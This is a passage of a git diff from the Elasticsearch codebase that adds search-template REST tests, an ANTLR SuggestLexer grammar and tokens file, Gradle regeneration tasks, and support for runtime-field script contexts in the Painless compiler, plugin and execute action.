RestApiVersion.V_7)); + + @Before + public void setUpAction() { + controller().registerHandler(new RestMultiSearchTemplateAction(Settings.EMPTY)); + //todo how to workaround this? we get AssertionError without this + verifyingClient.setExecuteVerifier((actionType, request) -> Mockito.mock(MultiSearchTemplateResponse.class)); + verifyingClient.setExecuteLocallyVerifier((actionType, request) -> Mockito.mock(MultiSearchTemplateResponse.class)); + } + + public void testTypeInPath() { + String content = "{ \"index\": \"some_index\" } \n" + + "{\"source\": {\"query\" : {\"match_all\" :{}}}} \n"; + BytesArray bytesContent = new BytesArray(content.getBytes(StandardCharsets.UTF_8)); + + RestRequest request = new FakeRestRequest.Builder(xContentRegistry()) + .withHeaders(Map.of("Content-Type", contentTypeHeader, "Accept", contentTypeHeader)) + .withMethod(RestRequest.Method.GET) + .withPath("/some_index/some_type/_msearch/template") + .withContent(bytesContent, null) + .build(); + + dispatchRequest(request); + assertWarnings(RestMultiSearchTemplateAction.TYPES_DEPRECATION_MESSAGE); + } + + public void testTypeInBody() { + String content = "{ \"index\": \"some_index\", \"type\": \"some_type\" } \n" + + "{\"source\": {\"query\" : {\"match_all\" :{}}}} \n"; + BytesArray bytesContent = new BytesArray(content.getBytes(StandardCharsets.UTF_8)); + + RestRequest request = new FakeRestRequest.Builder(xContentRegistry()) + .withHeaders(Map.of("Content-Type", contentTypeHeader, "Accept", contentTypeHeader)) + .withPath("/some_index/_msearch/template") + .withContent(bytesContent, null) + .build(); + + dispatchRequest(request); + assertWarnings(RestMultiSearchTemplateAction.TYPES_DEPRECATION_MESSAGE); + } +} diff --git a/modules/lang-mustache/src/test/java/org/elasticsearch/script/mustache/RestSearchTemplateActionTests.java b/modules/lang-mustache/src/test/java/org/elasticsearch/script/mustache/RestSearchTemplateActionTests.java new file mode 100644 index 0000000000000..a4d546f755644 --- /dev/null +++ b/modules/lang-mustache/src/test/java/org/elasticsearch/script/mustache/RestSearchTemplateActionTests.java @@ -0,0 +1,59 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.script.mustache; + +import org.elasticsearch.common.RestApiVersion; +import org.elasticsearch.rest.RestRequest; +import org.elasticsearch.rest.action.search.RestSearchAction; +import org.elasticsearch.test.rest.FakeRestRequest; +import org.elasticsearch.test.rest.RestActionTestCase; +import org.junit.Before; +import org.mockito.Mockito; + +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +public class RestSearchTemplateActionTests extends RestActionTestCase { + final List contentTypeHeader = Collections.singletonList(randomCompatibleMediaType(RestApiVersion.V_7)); + + @Before + public void setUpAction() { + controller().registerHandler(new RestSearchTemplateAction()); + verifyingClient.setExecuteVerifier((actionType, request) -> Mockito.mock(SearchTemplateResponse.class)); + verifyingClient.setExecuteLocallyVerifier((actionType, request) -> Mockito.mock(SearchTemplateResponse.class)); + } + + public void testTypeInPath() { + RestRequest request = new FakeRestRequest.Builder(xContentRegistry()) + .withHeaders(Map.of("Content-Type", contentTypeHeader, "Accept", contentTypeHeader)) + .withMethod(RestRequest.Method.GET) + .withPath("/some_index/some_type/_search/template") + .build(); + + dispatchRequest(request); + assertWarnings(RestSearchAction.TYPES_DEPRECATION_MESSAGE); + } + + public void testTypeParameter() { + Map params = new HashMap<>(); + params.put("type", "some_type"); + + RestRequest request = new FakeRestRequest.Builder(xContentRegistry()) + .withHeaders(Map.of("Content-Type", contentTypeHeader, "Accept", contentTypeHeader)) + .withMethod(RestRequest.Method.GET) + .withPath("/some_index/_search/template") + .withParams(params) + .build(); + + dispatchRequest(request); + assertWarnings(RestSearchAction.TYPES_DEPRECATION_MESSAGE); + } +} diff --git a/modules/lang-painless/build.gradle b/modules/lang-painless/build.gradle index 5ea9fece31b83..4e0d47dad14e3 100644 --- a/modules/lang-painless/build.gradle +++ b/modules/lang-painless/build.gradle @@ -9,6 +9,7 @@ import org.elasticsearch.gradle.testclusters.DefaultTestClustersTask; apply plugin: 'elasticsearch.validate-rest-spec' apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' esplugin { description 'An easy, safe and fast scripting language for Elasticsearch' @@ -38,7 +39,7 @@ tasks.named("dependencyLicenses").configure { restResources { restApi { - includeCore '_common', 'cluster', 'nodes', 'indices', 'index', 'search', 'get', 'bulk', 'update', + include '_common', 'cluster', 'nodes', 'indices', 'index', 'search', 'get', 'bulk', 'update', 'scripts_painless_execute', 'put_script', 'delete_script' } } @@ -48,6 +49,23 @@ tasks.named("test").configure { jvmArgs '-XX:-OmitStackTraceInFastThrow', '-XX:-HeapDumpOnOutOfMemoryError' } +tasks.named("yamlRestCompatTest").configure { + systemProperty 'tests.rest.blacklist', [ + 'painless/70_execute_painless_scripts/Execute with date field context (single-value)', + 'painless/70_execute_painless_scripts/Execute with date field context (multi-value)', + 'painless/70_execute_painless_scripts/Execute with double field context (single-value)', + 'painless/70_execute_painless_scripts/Execute with double field context (multi-value)', + 'painless/70_execute_painless_scripts/Execute with geo point field context (single-value)', + 'painless/70_execute_painless_scripts/Execute with geo point field context (multi-value)', + 'painless/70_execute_painless_scripts/Execute with ip field context (single-value)', + 'painless/70_execute_painless_scripts/Execute with ip field context (multi-value)', + 'painless/70_execute_painless_scripts/Execute with long field context (single-value)', + 'painless/70_execute_painless_scripts/Execute with long field context (multi-value)', + 'painless/70_execute_painless_scripts/Execute with keyword field context (single-value)', + 'painless/70_execute_painless_scripts/Execute with keyword field context (multi-value)', + ].join(',') +} + /* Build Javadoc for the Java classes in Painless's public API that are in the * Painless plugin */ tasks.register("apiJavadoc", Javadoc) { @@ -146,7 +164,7 @@ String outputPath = 'src/main/java/org/elasticsearch/painless/antlr' tasks.register("cleanGenerated", Delete) { delete fileTree(grammarPath) { - include '*.tokens' + include '*Painless*.tokens' } delete fileTree(outputPath) { include 'Painless*.java' @@ -218,3 +236,69 @@ tasks.register("regen") { } } } + +/********************************************** + * Suggest lexer regeneration * + **********************************************/ + +configurations { + suggestRegenerate +} + +dependencies { + regenerate 'org.antlr:antlr4:4.5.3' +} + +String suggestGrammarPath = 'src/main/antlr' +String suggestOutputPath = 'src/main/java/org/elasticsearch/painless/antlr' + +tasks.register("cleanSuggestGenerated", Delete) { + delete fileTree(suggestGrammarPath) { + include 'SuggestLexer.tokens' + } + delete fileTree(suggestOutputPath) { + include 'Suggest*.java' + } +} + +tasks.register("regenSuggestLexer", JavaExec) { + dependsOn "cleanSuggestGenerated" + main = 'org.antlr.v4.Tool' + classpath = configurations.regenerate + systemProperty 'file.encoding', 'UTF-8' + systemProperty 'user.language', 'en' + systemProperty 'user.country', 'US' + systemProperty 'user.variant', '' + args '-Werror', + '-package', 'org.elasticsearch.painless.antlr', + '-o', suggestOutputPath, + "${file(suggestGrammarPath)}/SuggestLexer.g4" +} + +tasks.register("regenSuggest") { + dependsOn "regenSuggestLexer" + doLast { + // moves token files to grammar directory for use with IDE's + ant.move(file: "${suggestOutputPath}/SuggestLexer.tokens", toDir: suggestGrammarPath) + // make the lexer abstract + ant.replaceregexp(match: '(class \\QSuggest\\ELexer)', + replace: 'abstract \\1', + encoding: 'UTF-8') { + fileset(dir: suggestOutputPath, includes: 'SuggestLexer.java') + } + // nuke timestamps/filenames in generated files + ant.replaceregexp(match: '\\Q// Generated from \\E.*', + replace: '\\/\\/ ANTLR GENERATED CODE: DO NOT EDIT', + encoding: 'UTF-8') { + fileset(dir: suggestOutputPath, includes: 'Suggest*.java') + } + // remove tabs in antlr generated files + ant.replaceregexp(match: '\t', flags: 'g', replace: ' ', encoding: 'UTF-8') { + fileset(dir: suggestOutputPath, includes: 'Suggest*.java') + } + // fix line endings + ant.fixcrlf(srcdir: suggestOutputPath, eol: 'lf') { + patternset(includes: 'Suggest*.java') + } + } +} diff --git a/modules/lang-painless/spi/src/main/java/org/elasticsearch/painless/spi/Whitelist.java b/modules/lang-painless/spi/src/main/java/org/elasticsearch/painless/spi/Whitelist.java index 6a2f402104b2d..ff8bc001d67df 100644 --- a/modules/lang-painless/spi/src/main/java/org/elasticsearch/painless/spi/Whitelist.java +++ b/modules/lang-painless/spi/src/main/java/org/elasticsearch/painless/spi/Whitelist.java @@ -28,6 +28,7 @@ public final class Whitelist { private static final String[] BASE_WHITELIST_FILES = new String[] { "org.elasticsearch.txt", + "org.elasticsearch.net.txt", "java.lang.txt", "java.math.txt", "java.text.txt", diff --git a/modules/lang-painless/src/main/antlr/SuggestLexer.g4 b/modules/lang-painless/src/main/antlr/SuggestLexer.g4 new file mode 100644 index 0000000000000..ff068df700820 --- /dev/null +++ b/modules/lang-painless/src/main/antlr/SuggestLexer.g4 @@ -0,0 +1,118 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +lexer grammar SuggestLexer; + +@members { +/** Is the preceding {@code /} a the beginning of a regex (true) or a division (false). */ +protected abstract boolean isSlashRegex(); +protected abstract boolean isType(String text); +} + +WS: [ \t\n\r]+ -> skip; +COMMENT: ( '//' .*? [\n\r] | '/*' .*? '*/' ) -> skip; + +LBRACK: '{'; +RBRACK: '}'; +LBRACE: '['; +RBRACE: ']'; +LP: '('; +RP: ')'; +// We switch modes after a dot to ensure there are not conflicts +// between shortcuts and decimal values. Without the mode switch +// shortcuts such as id.0.0 will fail because 0.0 will be interpreted +// as a decimal value instead of two individual list-style shortcuts. +DOT: '.' -> mode(AFTER_DOT); +NSDOT: '?.' -> mode(AFTER_DOT); +COMMA: ','; +SEMICOLON: ';'; +IF: 'if'; +IN: 'in'; +ELSE: 'else'; +WHILE: 'while'; +DO: 'do'; +FOR: 'for'; +CONTINUE: 'continue'; +BREAK: 'break'; +RETURN: 'return'; +NEW: 'new'; +TRY: 'try'; +CATCH: 'catch'; +THROW: 'throw'; +THIS: 'this'; +INSTANCEOF: 'instanceof'; + +BOOLNOT: '!'; +BWNOT: '~'; +MUL: '*'; +DIV: '/' { isSlashRegex() == false }?; +REM: '%'; +ADD: '+'; +SUB: '-'; +LSH: '<<'; +RSH: '>>'; +USH: '>>>'; +LT: '<'; +LTE: '<='; +GT: '>'; +GTE: '>='; +EQ: '=='; +EQR: '==='; +NE: '!='; +NER: '!=='; +BWAND: '&'; +XOR: '^'; +BWOR: '|'; +BOOLAND: '&&'; +BOOLOR: '||'; +COND: '?'; +COLON: ':'; +ELVIS: '?:'; +REF: '::'; +ARROW: '->'; +FIND: '=~'; +MATCH: '==~'; +INCR: '++'; +DECR: '--'; + +ASSIGN: '='; +AADD: '+='; +ASUB: '-='; +AMUL: '*='; +ADIV: '/='; +AREM: '%='; +AAND: '&='; +AXOR: '^='; +AOR: '|='; +ALSH: '<<='; +ARSH: '>>='; +AUSH: '>>>='; + +OCTAL: '0' [0-7]+ [lL]?; +HEX: '0' [xX] [0-9a-fA-F]+ [lL]?; +INTEGER: ( '0' | [1-9] [0-9]* ) [lLfFdD]?; +DECIMAL: ( '0' | [1-9] [0-9]* ) (DOT [0-9]+)? ( [eE] [+\-]? [0-9]+ )? [fFdD]?; + +STRING: ( '"' ( '\\"' | '\\\\' | ~[\\"] )*? '"' ) | ( '\'' ( '\\\'' | '\\\\' | ~[\\'] )*? '\'' ); +REGEX: '/' ( '\\' ~'\n' | ~('/' | '\n') )+? '/' [cilmsUux]* { isSlashRegex() }?; + +TRUE: 'true'; +FALSE: 'false'; + +NULL: 'null'; + +ATYPE: TYPE (LBRACE RBRACE)+; +TYPE: ID (DOT ID)* { isType(getText()) }?; +ID: [_a-zA-Z] [_a-zA-Z0-9]*; + +UNKNOWN: . -> skip; + +mode AFTER_DOT; + +DOTINTEGER: ( '0' | [1-9] [0-9]* ) -> mode(DEFAULT_MODE); +DOTID: [_a-zA-Z] [_a-zA-Z0-9]* -> mode(DEFAULT_MODE); diff --git a/modules/lang-painless/src/main/antlr/SuggestLexer.tokens b/modules/lang-painless/src/main/antlr/SuggestLexer.tokens new file mode 100644 index 0000000000000..bcad6e54e2d54 --- /dev/null +++ b/modules/lang-painless/src/main/antlr/SuggestLexer.tokens @@ -0,0 +1,158 @@ +WS=1 +COMMENT=2 +LBRACK=3 +RBRACK=4 +LBRACE=5 +RBRACE=6 +LP=7 +RP=8 +DOT=9 +NSDOT=10 +COMMA=11 +SEMICOLON=12 +IF=13 +IN=14 +ELSE=15 +WHILE=16 +DO=17 +FOR=18 +CONTINUE=19 +BREAK=20 +RETURN=21 +NEW=22 +TRY=23 +CATCH=24 +THROW=25 +THIS=26 +INSTANCEOF=27 +BOOLNOT=28 +BWNOT=29 +MUL=30 +DIV=31 +REM=32 +ADD=33 +SUB=34 +LSH=35 +RSH=36 +USH=37 +LT=38 +LTE=39 +GT=40 +GTE=41 +EQ=42 +EQR=43 +NE=44 +NER=45 +BWAND=46 +XOR=47 +BWOR=48 +BOOLAND=49 +BOOLOR=50 +COND=51 +COLON=52 +ELVIS=53 +REF=54 +ARROW=55 +FIND=56 +MATCH=57 +INCR=58 +DECR=59 +ASSIGN=60 +AADD=61 +ASUB=62 +AMUL=63 +ADIV=64 +AREM=65 +AAND=66 +AXOR=67 +AOR=68 +ALSH=69 +ARSH=70 +AUSH=71 +OCTAL=72 +HEX=73 +INTEGER=74 +DECIMAL=75 +STRING=76 +REGEX=77 +TRUE=78 +FALSE=79 +NULL=80 +ATYPE=81 +TYPE=82 +ID=83 +UNKNOWN=84 +DOTINTEGER=85 +DOTID=86 +'{'=3 +'}'=4 +'['=5 +']'=6 +'('=7 +')'=8 +'.'=9 +'?.'=10 +','=11 +';'=12 +'if'=13 +'in'=14 +'else'=15 +'while'=16 +'do'=17 +'for'=18 +'continue'=19 +'break'=20 +'return'=21 +'new'=22 +'try'=23 +'catch'=24 +'throw'=25 +'this'=26 +'instanceof'=27 +'!'=28 +'~'=29 +'*'=30 +'/'=31 +'%'=32 +'+'=33 +'-'=34 +'<<'=35 +'>>'=36 +'>>>'=37 +'<'=38 +'<='=39 +'>'=40 +'>='=41 +'=='=42 +'==='=43 +'!='=44 +'!=='=45 +'&'=46 +'^'=47 +'|'=48 +'&&'=49 +'||'=50 +'?'=51 +':'=52 +'?:'=53 +'::'=54 +'->'=55 +'=~'=56 +'==~'=57 +'++'=58 +'--'=59 +'='=60 +'+='=61 +'-='=62 +'*='=63 +'/='=64 +'%='=65 +'&='=66 +'^='=67 +'|='=68 +'<<='=69 +'>>='=70 +'>>>='=71 +'true'=78 +'false'=79 +'null'=80 diff --git a/modules/lang-painless/src/main/java/org/elasticsearch/painless/Compiler.java b/modules/lang-painless/src/main/java/org/elasticsearch/painless/Compiler.java index d536434c4ee10..058ee02df99be 100644 --- a/modules/lang-painless/src/main/java/org/elasticsearch/painless/Compiler.java +++ b/modules/lang-painless/src/main/java/org/elasticsearch/painless/Compiler.java @@ -18,12 +18,15 @@ import org.elasticsearch.painless.phase.DefaultStaticConstantExtractionPhase; import org.elasticsearch.painless.phase.DefaultStringConcatenationOptimizationPhase; import org.elasticsearch.painless.phase.DocFieldsPhase; +import org.elasticsearch.painless.phase.IRTreeVisitor; import org.elasticsearch.painless.phase.PainlessSemanticAnalysisPhase; import org.elasticsearch.painless.phase.PainlessSemanticHeaderPhase; import org.elasticsearch.painless.phase.PainlessUserTreeToIRTreePhase; +import org.elasticsearch.painless.phase.UserTreeVisitor; import org.elasticsearch.painless.spi.Whitelist; import org.elasticsearch.painless.symbol.Decorations.IRNodeDecoration; import org.elasticsearch.painless.symbol.ScriptScope; +import org.elasticsearch.painless.symbol.WriteScope; import org.objectweb.asm.util.Printer; import java.lang.reflect.Method; @@ -248,7 +251,6 @@ byte[] compile(String name, String source, CompilerSettings settings, Printer de ScriptScope scriptScope = new ScriptScope(painlessLookup, settings, scriptClassInfo, scriptName, source, root.getIdentifier() + 1); new PainlessSemanticHeaderPhase().visitClass(root, scriptScope); new PainlessSemanticAnalysisPhase().visitClass(root, scriptScope); - // TODO: Make this phase optional #60156 new DocFieldsPhase().visitClass(root, scriptScope); new PainlessUserTreeToIRTreePhase().visitClass(root, scriptScope); ClassNode classNode = (ClassNode)scriptScope.getDecoration(root, IRNodeDecoration.class).getIRNode(); @@ -260,4 +262,43 @@ byte[] compile(String name, String source, CompilerSettings settings, Printer de return classNode.getBytes(); } + + /** + * Runs the two-pass compiler to generate a Painless script with option visitors for each major phase. + */ + byte[] compile(String name, String source, CompilerSettings settings, Printer debugStream, + UserTreeVisitor semanticPhaseVisitor, + UserTreeVisitor irPhaseVisitor, + IRTreeVisitor asmPhaseVisitor) { + String scriptName = Location.computeSourceName(name); + ScriptClassInfo scriptClassInfo = new ScriptClassInfo(painlessLookup, scriptClass); + SClass root = Walker.buildPainlessTree(scriptName, source, settings); + ScriptScope scriptScope = new ScriptScope(painlessLookup, settings, scriptClassInfo, scriptName, source, root.getIdentifier() + 1); + + new PainlessSemanticHeaderPhase().visitClass(root, scriptScope); + new PainlessSemanticAnalysisPhase().visitClass(root, scriptScope); + if (semanticPhaseVisitor != null) { + semanticPhaseVisitor.visitClass(root, scriptScope); + } + + new DocFieldsPhase().visitClass(root, scriptScope); + new PainlessUserTreeToIRTreePhase().visitClass(root, scriptScope); + if (irPhaseVisitor != null) { + irPhaseVisitor.visitClass(root, scriptScope); + } + + ClassNode classNode = (ClassNode)scriptScope.getDecoration(root, IRNodeDecoration.class).getIRNode(); + new DefaultStringConcatenationOptimizationPhase().visitClass(classNode, null); + new DefaultConstantFoldingOptimizationPhase().visitClass(classNode, null); + new DefaultStaticConstantExtractionPhase().visitClass(classNode, scriptScope); + classNode.setDebugStream(debugStream); + + WriteScope writeScope = WriteScope.newScriptScope(); + new DefaultIRTreeToASMBytesPhase().visitClass(classNode, writeScope); + if (asmPhaseVisitor != null) { + asmPhaseVisitor.visitClass(classNode, writeScope); + } + + return classNode.getBytes(); + } } diff --git a/modules/lang-painless/src/main/java/org/elasticsearch/painless/FunctionRef.java b/modules/lang-painless/src/main/java/org/elasticsearch/painless/FunctionRef.java index 4fb199f60410d..9d3a598562192 100644 --- a/modules/lang-painless/src/main/java/org/elasticsearch/painless/FunctionRef.java +++ b/modules/lang-painless/src/main/java/org/elasticsearch/painless/FunctionRef.java @@ -99,7 +99,7 @@ public static FunctionRef create(PainlessLookup painlessLookup, FunctionTable fu isDelegateInterface = false; isDelegateAugmented = false; delegateInvokeType = H_INVOKESTATIC; - delegateMethodName = localFunction.getFunctionName(); + delegateMethodName = localFunction.getMangledName(); delegateMethodType = localFunction.getMethodType(); delegateInjections = new Object[0]; diff --git a/modules/lang-painless/src/main/java/org/elasticsearch/painless/PainlessPlugin.java b/modules/lang-painless/src/main/java/org/elasticsearch/painless/PainlessPlugin.java index 21207070c661c..5a539b03383e3 100644 --- a/modules/lang-painless/src/main/java/org/elasticsearch/painless/PainlessPlugin.java +++ b/modules/lang-painless/src/main/java/org/elasticsearch/painless/PainlessPlugin.java @@ -41,6 +41,7 @@ import org.elasticsearch.script.ScoreScript; import org.elasticsearch.script.ScriptContext; import org.elasticsearch.script.ScriptEngine; +import org.elasticsearch.script.ScriptModule; import org.elasticsearch.script.ScriptService; import org.elasticsearch.search.aggregations.pipeline.MovingFunctionScript; import org.elasticsearch.threadpool.ThreadPool; @@ -88,6 +89,12 @@ public final class PainlessPlugin extends Plugin implements ScriptPlugin, Extens ingest.add(ingestWhitelist); map.put(IngestScript.CONTEXT, ingest); + // Functions available to runtime fields + + for (ScriptContext scriptContext : ScriptModule.RUNTIME_FIELDS_CONTEXTS) { + map.put(scriptContext, getRuntimeFieldWhitelist(scriptContext.name)); + } + // Execute context gets everything List test = new ArrayList<>(Whitelist.BASE_WHITELISTS); test.add(movFnWhitelist); @@ -99,6 +106,14 @@ public final class PainlessPlugin extends Plugin implements ScriptPlugin, Extens whitelists = map; } + private static List getRuntimeFieldWhitelist(String contextName) { + List scriptField = new ArrayList<>(Whitelist.BASE_WHITELISTS); + Whitelist whitelist = WhitelistLoader.loadFromResourceFiles(Whitelist.class, + "org.elasticsearch.script." + contextName + ".txt"); + scriptField.add(whitelist); + return scriptField; + } + private final SetOnce painlessScriptEngine = new SetOnce<>(); @Override diff --git a/modules/lang-painless/src/main/java/org/elasticsearch/painless/PainlessScriptEngine.java b/modules/lang-painless/src/main/java/org/elasticsearch/painless/PainlessScriptEngine.java index 2dba2f5ae13fc..922455e64f471 100644 --- a/modules/lang-painless/src/main/java/org/elasticsearch/painless/PainlessScriptEngine.java +++ b/modules/lang-painless/src/main/java/org/elasticsearch/painless/PainlessScriptEngine.java @@ -402,7 +402,7 @@ public ScriptScope run() { } }, COMPILATION_CONTEXT); // Note that it is safe to catch any of the following errors since Painless is stateless. - } catch (OutOfMemoryError | StackOverflowError | VerifyError | Exception e) { + } catch (OutOfMemoryError | StackOverflowError | LinkageError | Exception e) { throw convertToScriptException(source, e); } } diff --git a/modules/lang-painless/src/main/java/org/elasticsearch/painless/action/PainlessExecuteAction.java b/modules/lang-painless/src/main/java/org/elasticsearch/painless/action/PainlessExecuteAction.java index 56a3647557cd9..58c181852a368 100644 --- a/modules/lang-painless/src/main/java/org/elasticsearch/painless/action/PainlessExecuteAction.java +++ b/modules/lang-painless/src/main/java/org/elasticsearch/painless/action/PainlessExecuteAction.java @@ -36,10 +36,15 @@ import org.elasticsearch.common.CheckedBiFunction; import org.elasticsearch.common.ParseField; import org.elasticsearch.common.bytes.BytesReference; +import org.elasticsearch.common.geo.GeoJsonGeometryFormat; +import org.elasticsearch.common.geo.GeoPoint; +import org.elasticsearch.common.geo.GeometryFormat; +import org.elasticsearch.common.geo.GeometryParser; import org.elasticsearch.common.inject.Inject; import org.elasticsearch.common.io.stream.StreamInput; import org.elasticsearch.common.io.stream.StreamOutput; import org.elasticsearch.common.io.stream.Writeable; +import org.elasticsearch.common.network.NetworkAddress; import org.elasticsearch.common.xcontent.ConstructingObjectParser; import org.elasticsearch.common.xcontent.LoggingDeprecationHandler; import org.elasticsearch.common.xcontent.NamedXContentRegistry; @@ -48,8 +53,13 @@ import org.elasticsearch.common.xcontent.XContentHelper; import org.elasticsearch.common.xcontent.XContentParser; import org.elasticsearch.common.xcontent.XContentType; +import org.elasticsearch.geometry.Geometry; +import org.elasticsearch.geometry.Point; import org.elasticsearch.index.Index; import org.elasticsearch.index.IndexService; +import org.elasticsearch.index.mapper.DateFieldMapper; +import org.elasticsearch.index.mapper.DocumentParser; +import org.elasticsearch.index.mapper.MappingLookup; import org.elasticsearch.index.mapper.ParsedDocument; import org.elasticsearch.index.mapper.SourceToParse; import org.elasticsearch.index.query.AbstractQueryBuilder; @@ -60,16 +70,27 @@ import org.elasticsearch.rest.BaseRestHandler; import org.elasticsearch.rest.RestRequest; import org.elasticsearch.rest.action.RestToXContentListener; +import org.elasticsearch.script.BooleanFieldScript; +import org.elasticsearch.script.DateFieldScript; +import org.elasticsearch.script.DoubleFieldScript; import org.elasticsearch.script.FilterScript; +import org.elasticsearch.script.GeoPointFieldScript; +import org.elasticsearch.script.IpFieldScript; +import org.elasticsearch.script.LongFieldScript; import org.elasticsearch.script.ScoreScript; import org.elasticsearch.script.Script; import org.elasticsearch.script.ScriptContext; +import org.elasticsearch.script.ScriptModule; import org.elasticsearch.script.ScriptService; import org.elasticsearch.script.ScriptType; +import org.elasticsearch.script.StringFieldScript; import org.elasticsearch.threadpool.ThreadPool; import org.elasticsearch.transport.TransportService; import java.io.IOException; +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.Objects; @@ -102,10 +123,18 @@ public static class Request extends SingleShardRequest implements ToXCo PARSER.declareObject(ConstructingObjectParser.optionalConstructorArg(), ContextSetup::parse, CONTEXT_SETUP_FIELD); } - static final Map> SUPPORTED_CONTEXTS = Map.of( - "painless_test", PainlessTestScript.CONTEXT, - "filter", FilterScript.CONTEXT, - "score", ScoreScript.CONTEXT); + private static Map> getSupportedContexts() { + Map> contexts = new HashMap<>(); + contexts.put(PainlessTestScript.CONTEXT.name, PainlessTestScript.CONTEXT); + contexts.put(FilterScript.CONTEXT.name, FilterScript.CONTEXT); + contexts.put(ScoreScript.CONTEXT.name, ScoreScript.CONTEXT); + for (ScriptContext runtimeFieldsContext : ScriptModule.RUNTIME_FIELDS_CONTEXTS) { + contexts.put(runtimeFieldsContext.name, runtimeFieldsContext); + } + return Collections.unmodifiableMap(contexts); + } + + static final Map> SUPPORTED_CONTEXTS = getSupportedContexts(); static ScriptContext fromScriptContextName(String name) { ScriptContext scriptContext = SUPPORTED_CONTEXTS.get(name); @@ -492,7 +521,7 @@ static Response innerShardOperation(Request request, ScriptService scriptService return prepareRamIndex(request, (context, leafReaderContext) -> { FilterScript.Factory factory = scriptService.compile(request.script, FilterScript.CONTEXT); FilterScript.LeafFactory leafFactory = - factory.newFactory(request.getScript().getParams(), context.lookup()); + factory.newFactory(request.getScript().getParams(), context.lookup()); FilterScript filterScript = leafFactory.newInstance(leafReaderContext); filterScript.setDocument(0); boolean result = filterScript.execute(); @@ -502,7 +531,7 @@ static Response innerShardOperation(Request request, ScriptService scriptService return prepareRamIndex(request, (context, leafReaderContext) -> { ScoreScript.Factory factory = scriptService.compile(request.script, ScoreScript.CONTEXT); ScoreScript.LeafFactory leafFactory = - factory.newFactory(request.getScript().getParams(), context.lookup()); + factory.newFactory(request.getScript().getParams(), context.lookup()); ScoreScript scoreScript = leafFactory.newInstance(leafReaderContext); scoreScript.setDocument(0); @@ -521,6 +550,88 @@ static Response innerShardOperation(Request request, ScriptService scriptService double result = scoreScript.execute(null); return new Response(result); }, indexService); + } else if (scriptContext == BooleanFieldScript.CONTEXT) { + return prepareRamIndex(request, (context, leafReaderContext) -> { + BooleanFieldScript.Factory factory = scriptService.compile(request.script, BooleanFieldScript.CONTEXT); + BooleanFieldScript.LeafFactory leafFactory = + factory.newFactory(BooleanFieldScript.CONTEXT.name, request.getScript().getParams(), context.lookup()); + BooleanFieldScript booleanFieldScript = leafFactory.newInstance(leafReaderContext); + List booleans = new ArrayList<>(); + booleanFieldScript.runForDoc(0, booleans::add); + return new Response(booleans); + }, indexService); + } else if (scriptContext == DateFieldScript.CONTEXT) { + return prepareRamIndex(request, (context, leafReaderContext) -> { + DateFieldScript.Factory factory = scriptService.compile(request.script, DateFieldScript.CONTEXT); + DateFieldScript.LeafFactory leafFactory = factory.newFactory(DateFieldScript.CONTEXT.name, + request.getScript().getParams(), context.lookup(), DateFieldMapper.DEFAULT_DATE_TIME_FORMATTER); + DateFieldScript dateFieldScript = leafFactory.newInstance(leafReaderContext); + List dates = new ArrayList<>(); + dateFieldScript.runForDoc(0, d -> dates.add(DateFieldMapper.DEFAULT_DATE_TIME_FORMATTER.formatMillis(d))); + return new Response(dates); + }, indexService); + } else if (scriptContext == DoubleFieldScript.CONTEXT) { + return prepareRamIndex(request, (context, leafReaderContext) -> { + DoubleFieldScript.Factory factory = scriptService.compile(request.script, DoubleFieldScript.CONTEXT); + DoubleFieldScript.LeafFactory leafFactory = + factory.newFactory(DoubleFieldScript.CONTEXT.name, request.getScript().getParams(), context.lookup()); + DoubleFieldScript doubleFieldScript = leafFactory.newInstance(leafReaderContext); + List doubles = new ArrayList<>(); + doubleFieldScript.runForDoc(0, doubles::add); + return new Response(doubles); + }, indexService); + } else if (scriptContext == GeoPointFieldScript.CONTEXT) { + return prepareRamIndex(request, (context, leafReaderContext) -> { + GeoPointFieldScript.Factory factory = scriptService.compile(request.script, GeoPointFieldScript.CONTEXT); + GeoPointFieldScript.LeafFactory leafFactory = + factory.newFactory(GeoPointFieldScript.CONTEXT.name, request.getScript().getParams(), context.lookup()); + GeoPointFieldScript geoPointFieldScript = leafFactory.newInstance(leafReaderContext); + List points = new ArrayList<>(); + geoPointFieldScript.runGeoPointForDoc(0, gp -> points.add(new GeoPoint(gp))); + // convert geo points to the standard format of the fields api + GeometryFormat gf = new GeometryParser(true, true, true).geometryFormat(GeoJsonGeometryFormat.NAME); + List objects = new ArrayList<>(); + for (GeoPoint gp : points) { + objects.add(gf.toXContentAsObject(new Point(gp.getLon(), gp.getLat()))); + } + return new Response(objects); + }, indexService); + } else if (scriptContext == IpFieldScript.CONTEXT) { + return prepareRamIndex(request, (context, leafReaderContext) -> { + IpFieldScript.Factory factory = scriptService.compile(request.script, IpFieldScript.CONTEXT); + IpFieldScript.LeafFactory leafFactory = + factory.newFactory(IpFieldScript.CONTEXT.name, request.getScript().getParams(), context.lookup()); + IpFieldScript ipFieldScript = leafFactory.newInstance(leafReaderContext); + List ips = new ArrayList<>(); + ipFieldScript.runForDoc(0, ip -> { + if (ip == null) { + ips.add(null); + } else { + ips.add(NetworkAddress.format(ip)); + } + }); + return new Response(ips); + }, indexService); + } else if (scriptContext == LongFieldScript.CONTEXT) { + return prepareRamIndex(request, (context, leafReaderContext) -> { + LongFieldScript.Factory factory = scriptService.compile(request.script, LongFieldScript.CONTEXT); + LongFieldScript.LeafFactory leafFactory = + factory.newFactory(LongFieldScript.CONTEXT.name, request.getScript().getParams(), context.lookup()); + LongFieldScript longFieldScript = leafFactory.newInstance(leafReaderContext); + List longs = new ArrayList<>(); + longFieldScript.runForDoc(0, longs::add); + return new Response(longs); + }, indexService); + } else if (scriptContext == StringFieldScript.CONTEXT) { + return prepareRamIndex(request, (context, leafReaderContext) -> { + StringFieldScript.Factory factory = scriptService.compile(request.script, StringFieldScript.CONTEXT); + StringFieldScript.LeafFactory leafFactory = + 